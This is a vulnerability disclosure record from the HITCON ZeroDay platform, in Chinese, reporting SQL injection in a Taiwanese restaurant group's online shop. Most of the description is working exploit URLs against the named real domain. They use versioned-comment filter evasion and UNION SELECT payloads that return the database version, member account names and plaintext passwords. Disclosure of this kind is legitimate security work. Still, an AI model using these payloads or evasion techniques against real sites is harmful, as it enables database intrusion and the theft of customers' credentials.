Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2018-00668
- Vendor: 大鼎活蝦餐廳股份有限公司
- Title: 大鼎餐飲事業集團公司資料庫注入漏洞
- Introduction: 資料庫注入漏洞
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2018/05/12 04:54:57 : 新提交 (由 mitv 更新此狀態)
- 2018/05/13 02:11:11 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/05/22 00:29:36 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/05/22 00:29:36 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2018/07/12 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2018-00668
- 通報者:vtim9907 (mitv)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
敘述
該頁面參數 pc_parent 存在資料庫注入漏洞,雖然有做一些過濾的措施,但並不完全。
這個案例對我來說稍微特殊一點,經過一點嘗試,繞過過濾之後用 order by 找出前面 query 的欄位數量,發現是 14 個之後嘗試 payload:
卻轉跳到一個 404 頁面:
透過上圖中猜測注入並未失敗,從 URL 後面接的那個 "4" 發現撈出來的東西竟出現在轉址後的路徑中,所以驗證猜測:
http://www.top-d.com.tw/products.php?func=p_list&pc_parent=-1%27%20/*!%55nion*/%20/*!%53elect*/%201,2,3,version(),5,6,7,8,9,10,11,12,13,14--%20-
回彈了資料庫版本,驗證了前面的假設,然而為了確定嚴重性,稍微看了一下資料庫有哪些資料,發現內含了不少東西,包含交易紀錄和帳號密碼,密碼還是用明文儲存,才想起該網站包含了網路購物的功能,所以我想 SQL injection 在這裡是特別嚴重的(包含大量用戶敏感資訊)。
因為 concat, concat_ws, group_concat 等等相關串接 function 都被過濾,所以分開來一個個查詢,以下為帳號密碼示意圖(並不是同一組)
帳號:
http://www.top-d.com.tw/products.php?func=p_list&pc_parent=-1%27%20/*!%55nion*/%20/*!%53elect*/%201,2,3,m_account,5,6,7,8,9,10,11,12,13,14%20/*!f%72om*/%20cht_member limit 7,1--%20-
密碼(明文):
http://www.top-d.com.tw/products.php?func=p_list&pc_parent=-1%27%20/*!%55nion*/%20/*!%53elect*/%201,2,3,m_password,5,6,7,8,9,10,11,12,13,14%20/*!f%72om*/%20cht_member limit 17,1--%20-